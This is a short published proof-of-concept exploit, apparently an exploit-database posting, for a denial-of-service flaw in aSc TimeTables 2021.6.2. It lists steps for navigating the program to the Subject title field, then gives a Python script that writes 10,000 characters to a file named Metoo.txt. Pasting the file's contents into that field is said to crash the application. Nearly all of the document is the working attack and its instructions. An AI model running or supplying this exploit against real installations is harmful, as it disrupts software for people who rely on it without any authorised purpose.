aSc TimeTables 2021.6.2 - Denial of Service Exploit

# Exploit Title: aSc TimeTables 2021.6.2 - Denial of Service (PoC)
# Exploit Author: Ismael Nava
# Vendor Homepage: https://www.asctimetables.com/#!/home
# Software Link: https://www.asctimetables.com/#!/home/download
# Version:  2021.6.2
# Tested on: Windows 10 Home x64
 
# STEPS
# Open the program aSc Timetables 2021
# In File select the option New
# Put any letter in the fiel Name of the Schooland click Next
# In the next Windows click NEXT
# In the Step 3, in Subject click in New 
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Metoo.txt"
# Paste the content in the field Subject title
# Click in OK
# End :)
 
buffer = 'Z' * 10000
 
try: 
    file = open("Metoo.txt","w")
    file.write(buffer)
    file.close()
 
    print("Archive ready")
except:
    print("Archive no ready")
 
#  0day.today [2020-12-03]  #